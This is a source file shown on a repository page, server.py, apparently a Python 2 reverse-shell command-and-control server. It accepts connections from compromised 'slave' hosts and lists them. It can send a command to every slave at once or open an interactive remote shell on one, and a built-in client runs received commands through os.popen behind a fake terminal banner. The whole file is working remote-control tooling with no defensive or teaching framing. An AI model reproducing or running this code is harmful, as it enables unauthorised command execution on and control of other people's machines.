-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathserver.py
304 lines (269 loc) · 9.03 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
#!/usr/bin/env python
import socket
import threading
import time
import hashlib
import random
import string
import sys
import os
import readline
import signal
import requests
import json
import pprint
import sys
from utils.log import Log
reload(sys)
sys.setdefaultencoding('utf-8')
slaves = {}
masters = {}
EXIT_FLAG = False
MAX_CONNECTION_NUMBER = 0x10
def md5(data):
return hashlib.md5(data).hexdigest()
def recvuntil(p, target):
data = ""
while target not in data:
data += p.recv(1)
return data
def recvall(socket_fd):
data = ""
size = 0x100
while True:
r = socket_fd.recv(size)
if not r:
break
data += r
if len(r) < size:
break
return data
def slaver(host, port, fake):
slaver_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
slaver_fd.connect((host, port))
banner = "[FakeTerminal] >> "
while True:
if EXIT_FLAG:
Log.warning("Slaver function exiting...")
break
command = recvuntil(slaver_fd, "\n")
if fake:
slaver_fd.send(banner)
try:
result = os.popen(command).read()
except:
result = ""
slaver_fd.send(command + result)
Log.warning("Closing connection...")
slaver_fd.shutdown(socket.SHUT_RDWR)
slaver_fd.close()
def transfer(h):
slave = slaves[h]
socket_fd = slave.socket_fd
buffer_size = 0x400
interactive_stat = True
while True:
if EXIT_FLAG:
Log.warning("Transfer function exiting...")
break
interactive_stat = slave.interactive
buffer = socket_fd.recv(buffer_size)
if not buffer:
Log.error("No data, breaking...")
break
sys.stdout.write(buffer)
if not interactive_stat:
break
if interactive_stat:
Log.error("Unexpected EOF!")
socket_fd.shutdown(socket.SHUT_RDWR)
socket_fd.close()
slave.remove_node()
def random_string(length, chars):
return "".join([random.choice(chars) for i in range(length)])
class Slave():
def __init__(self, socket_fd):
self.socket_fd = socket_fd
self.hostname, self.port = socket_fd.getpeername()
self.node_hash = node_hash(self.hostname, self.port)
self.interactive = False
def show_info(self):
Log.info("Hash : %s" % (self.node_hash))
Log.info("From : %s:%d" % (self.hostname, self.port))
def send_command(self, command):
try:
self.socket_fd.send(command + "\n")
return True
except:
self.remove_node()
return False
def system_token(self, command):
token = random_string(0x10,string.letters)
payload = "echo '%s' && %s ; echo '%s'\n" % (token, command, token)
Log.info(payload)
self.send_command(payload)
time.sleep(0.2)
result = recvall(self.socket_fd)
print "%r" % (result)
if len(result.split(token)) == 3:
return result.split(token)[1]
else:
return "Somthing wrong"
def send_command_print(self, command):
print ">>>>>> %s" % command
self.send_command(command)
time.sleep(0.5)
Log.info("Receving data from socket...")
result = recvall(self.socket_fd)
Log.success(result)
def interactive_shell(self):
self.interactive = True
t = threading.Thread(target=transfer, args=(self.node_hash, ))
t.start()
try:
while True:
command = raw_input()
if command == "exit":
self.interactive = False
self.socket_fd.send("\n")
break
self.socket_fd.send(command + "\n")
except:
self.remove_node()
self.interactive = False
time.sleep(0.125)
def remove_node(self):
Log.error("Removing Node!")
if self.node_hash in slaves.keys():
slaves.pop(self.node_hash)
def master(host, port):
Log.info("Master starting at %s:%d" % (host, port))
master_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
master_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
master_fd.bind((host, port))
master_fd.listen(MAX_CONNECTION_NUMBER)
while(True):
if EXIT_FLAG:
break
slave_fd, slave_addr = master_fd.accept()
Log.success("\r[+] Slave online : %s:%d" % (slave_addr[0], slave_addr[1]))
repeat = False
for i in slaves.keys():
slave = slaves[i]
if slave.hostname == slave_addr[0]:
repeat = True
break
if repeat:
Log.warning("Detect the same host connection, reseting...")
slave_fd.shutdown(socket.SHUT_RDWR)
slave_fd.close()
else:
slave = Slave(slave_fd)
slaves[slave.node_hash] = slave
Log.error("Master exiting...")
master_fd.shutdown(socket.SHUT_RDWR)
master_fd.close()
def show_commands():
print "Commands : "
print " [h|help|?] : show this help"
print " [l] : list all online slaves"
print " [p] : position info"
print " [i] : interactive shell"
print " [g] : goto a slave"
print " [c] : command for all"
print " [d] : delete node"
print " [q|quit|exit] : exit"
def signal_handler(ignum, frame):
print ""
show_commands()
def node_hash(host, port):
return md5("%s:%d" % (host, port))
def main():
if len(sys.argv) != 3:
print "Usage : "
print "\tpython server.py [HOST] [PORT]"
exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
EXEC_LOCAL = True
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
master_thread = threading.Thread(target=master, args=(host, port,))
slaver_thread = threading.Thread(target=slaver, args=(host, port, True,))
master_thread.daemon = True
slaver_thread.daemon = True
Log.info("Starting server...")
master_thread.start()
Log.info("Connecting to localhost server...")
slaver_thread.start()
time.sleep(0.75)
position = slaves[slaves.keys()[0]].node_hash
while True:
if len(slaves.keys()) == 0:
Log.error("No slaves left , exiting...")
break
if not position in slaves.keys():
Log.error("Node is offline... Changing node...")
position = slaves.keys()[0]
current_slave = slaves[position]
context_hint = "[%s:%d]" % (current_slave.hostname, current_slave.port)
Log.context(context_hint)
command = raw_input(" >> ") or "#"
if command.startswith("#"):
continue
if command == "h" or command == "help" or command == "?":
show_commands()
elif command == "l":
Log.info("Listing online slaves...")
for key in slaves.keys():
print "[%s]" % ("-" * 0x2A)
slaves[key].show_info()
print "[%s]" % ("-" * 0x2A)
elif command == "p":
current_slave.show_info()
elif command == "c":
cmd = raw_input("Input command (uname -r) : ") or ("uname -r")
Log.info("Command : %s" % (cmd))
for i in slaves.keys():
slave = slaves[i]
result = slave.send_command_print(cmd)
elif command == "g":
input_node_hash = raw_input(
"Please input target node hash : ") or position
Log.info("Input node hash : %s" % (repr(input_node_hash)))
if input_node_hash == position:
Log.warning("Position will not change!")
continue
found = False
for key in slaves.keys():
if key.startswith(input_node_hash):
new_slave = slaves[key]
Log.info("Changing position to [%s:%d]" % (new_slave.hostname, new_slave.port))
position = key
found = True
break
if not found:
Log.error("Please check your input node hash!")
Log.error("Position is not changed!")
elif command == "i":
current_slave.interactive_shell()
elif command == "d":
current_slave.remove_node()
elif command == "q" or command == "quit" or command == "exit":
EXIT_FLAG = True
Log.info("Releasing resources...")
for key in slaves.keys():
slave = slaves[key]
Log.error("Closing conntion of %s:%d" % (slave.hostname, slave.port))
slave.socket_fd.shutdown(socket.SHUT_RDWR)
slave.socket_fd.close()
Log.error("Exiting...")
exit(0)
else:
Log.error("Unsupported command!")
if EXEC_LOCAL:
os.system(command)
else:
current_slave.send_command_print(command)
if __name__ == "__main__":
main()